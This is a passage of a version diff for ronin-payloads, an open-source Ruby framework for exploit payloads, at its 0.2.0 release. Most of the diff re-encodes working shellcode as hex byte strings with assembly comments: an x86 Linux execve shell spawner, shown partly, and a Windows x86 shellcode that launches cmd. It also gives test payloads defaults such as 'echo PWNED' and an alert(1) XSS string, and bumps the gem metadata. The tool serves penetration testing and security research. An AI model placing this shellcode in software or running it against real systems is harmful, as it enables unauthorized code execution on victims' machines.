-                         "\x53".b +                 # push	%ebx
-                         "\x53".b +                 # push	%ebx
-                         "\x6a\x3b".b +             # push	$0x3b
-                         "\x58".b +                 # pop	%eax
-                         "\xcd\x80".b               # int	$0x80
+              @payload = "\x99" +                 # cltd
+                         "\x52" +                 # push	%edx
+                         "\x68\x6e\x2f\x73\x68" + # push	$0x68732f6e
+                         "\x68\x2f\x2f\x62\x69" + # push	$0x69622f2f
+                         "\x89\xe3" +             # mov	%esp,%ebx
+                         "\x52" +                 # push	%edx
+                         "\x54" +                 # push	%esp
+                         "\x53" +                 # push	%ebx
+                         "\x53" +                 # push	%ebx
+                         "\x6a\x3b" +             # push	$0x3b
+                         "\x58" +                 # pop	%eax
+                         "\xcd\x80"               # int	$0x80
             end
 
           end

data/lib/ronin/payloads/builtin/shellcode/windows/x86_64/cmd.rb

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -52,26 +53,26 @@ module Ronin
             # Builds the shellcode.
             #
             def build
-              @payload = "\x31\xC9".b +                 # xor ecx,ecx
-                         "\x64\x8B\x71\x30".b +         # mov esi,[fs:ecx+0x30]
-                         "\x8B\x76\x0C".b +             # mov esi,[esi+0xc]
-                         "\x8B\x76\x1C".b +             # mov esi,[esi+0x1c]
-                         "\x8B\x36".b +                 # mov esi,[esi]
-                         "\x8B\x06".b +                 # mov eax,[esi]
-                         "\x8B\x68\x08".b +             # mov ebp,[eax+0x8]
-                         "\xEB\x20".b +                 # jmp short 0x35
-                         "\x5B".b +                     # pop ebx
-                         "\x53".b +                     # push ebx
-                         "\x55".b +                     # push ebp
-                         "\x5B".b +                     # pop ebx
-                         "\x81\xEB\x11\x11\x11\x11".b + # sub ebx,0x11111111
-                         "\x81\xC3\xDA\x3F\x1A\x11".b + # add ebx,0x111a3fda (for seven X86 add ebx,0x1119f7a6)
-                         "\xFF\xD3".b +                 # call ebx
-                         "\x81\xC3\x11\x11\x11\x11".b + # add ebx,0x11111111
-                         "\x81\xEB\x8C\xCC\x18\x11".b + # sub ebx,0x1118cc8c (for seven X86 sub ebx,0x1114ccd7)
-                         "\xFF\xD3".b +                 # call ebx
-                         "\xE8\xDB\xFF\xFF\xFF".b +     # call dword 0x15
-                         "\x63\x6d\x64".b               # db "cmd"
+              @payload = "\x31\xC9" +                 # xor ecx,ecx
+                         "\x64\x8B\x71\x30" +         # mov esi,[fs:ecx+0x30]
+                         "\x8B\x76\x0C" +             # mov esi,[esi+0xc]
+                         "\x8B\x76\x1C" +             # mov esi,[esi+0x1c]
+                         "\x8B\x36" +                 # mov esi,[esi]
+                         "\x8B\x06" +                 # mov eax,[esi]
+                         "\x8B\x68\x08" +             # mov ebp,[eax+0x8]
+                         "\xEB\x20" +                 # jmp short 0x35
+                         "\x5B" +                     # pop ebx
+                         "\x53" +                     # push ebx
+                         "\x55" +                     # push ebp
+                         "\x5B" +                     # pop ebx
+                         "\x81\xEB\x11\x11\x11\x11" + # sub ebx,0x11111111
+                         "\x81\xC3\xDA\x3F\x1A\x11" + # add ebx,0x111a3fda (for seven X86 add ebx,0x1119f7a6)
+                         "\xFF\xD3" +                 # call ebx
+                         "\x81\xC3\x11\x11\x11\x11" + # add ebx,0x11111111
+                         "\x81\xEB\x8C\xCC\x18\x11" + # sub ebx,0x1118cc8c (for seven X86 sub ebx,0x1114ccd7)
+                         "\xFF\xD3" +                 # call ebx
+                         "\xE8\xDB\xFF\xFF\xFF" +     # call dword 0x15
+                         "\x63\x6d\x64"               # db "cmd"
             end
 
           end

data/lib/ronin/payloads/builtin/test/cmd.rb

@@ -40,7 +40,7 @@ module Ronin
           command payload.
         DESC
 
-        param :command, String, required: true,
+        param :command, String, default: %{echo PWNED},
                                 desc:    'The command to execute'
 
         def build

data/lib/ronin/payloads/builtin/test/open_redirect.rb

@@ -37,11 +37,14 @@ module Ronin
           Simply redirects to https://google.com/.
         DESC
 
+        param :url, default: 'https://google.com/',
+                    desc:    'The open redirect URL'
+
         #
         # Builds the Open Redirect test payload.
         #
         def build
-          @payload = 'https://google.com/'
+          @payload = params[:url]
         end
 
       end

data/lib/ronin/payloads/builtin/test/url.rb

@@ -40,7 +40,7 @@ module Ronin
           URL payload.
         DESC
 
-        param :url, String, required: true,
+        param :url, String, default: 'http://example.com',
                             desc:    'The custom URL'
 
         def build

data/lib/ronin/payloads/builtin/test/xss.rb

@@ -37,11 +37,14 @@ module Ronin
           Simply calls `alert(1)`.
         DESC
 
+        param :javascript, default: 'alert(1)',
+                           desc:    'The JavaScript to inject'
+
         #
         # Builds the XSS test payload.
         #
         def build
-          @payload = 'alert(1)'
+          @payload = params[:javascript]
         end
 
       end

data/lib/ronin/payloads/cli.rb

@@ -20,6 +20,7 @@
 #
 
 require 'ronin/payloads/version'
+require 'ronin/core/cli/help/banner'
 
 require 'command_kit/commands'
 require 'command_kit/commands/auto_load'
@@ -40,6 +41,7 @@ module Ronin
         namespace: "#{self}::Commands"
       )
       include CommandKit::Options::Version
+      include Core::CLI::Help::Banner
 
       command_name 'ronin-payloads'
       version Ronin::Payloads::VERSION

data/lib/ronin/payloads/version.rb

@@ -22,6 +22,6 @@
 module Ronin
   module Payloads
     # ronin-payloads version
-    VERSION = '0.2.0.rc1'
+    VERSION = '0.2.0'
   end
 end

metadata

@@ -1,14 +1,14 @@
 --- !ruby/object:Gem::Specification
 name: ronin-payloads
 version: !ruby/object:Gem::Version
-  version: 0.2.0.rc1
+  version: 0.2.0
 platform: ruby
 authors:
 - Postmodern
 autorequire:
 bindir: bin
 cert_chain: []
-date: 2024-06-23 00:00:00.000000000 Z
+date: 2024-07-22 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: ronin-support
@@ -58,14 +58,14 @@ dependencies:
     requirements:
     - - "~>"
       - !ruby/object:Gem::Version
-        version: 0.2.0.rc1
+        version: '0.2'
   type: :runtime
   prerelease: false
   version_requirements: !ruby/object:Gem::Requirement
     requirements:
     - - "~>"
       - !ruby/object:Gem::Version
-        version: 0.2.0.rc1
+        version: '0.2'
 - !ruby/object:Gem::Dependency
   name: ronin-repos
   requirement: !ruby/object:Gem::Requirement
@@ -309,7 +309,7 @@ required_rubygems_version: !ruby/object:Gem::Requirement
     - !ruby/object:Gem::Version
       version: '0'
 requirements: []
-rubygems_version: 3.3.27
+rubygems_version: 3.5.11
 signing_key:
 specification_version: 4
 summary: A Ruby micro-framework for writing and running exploit payloads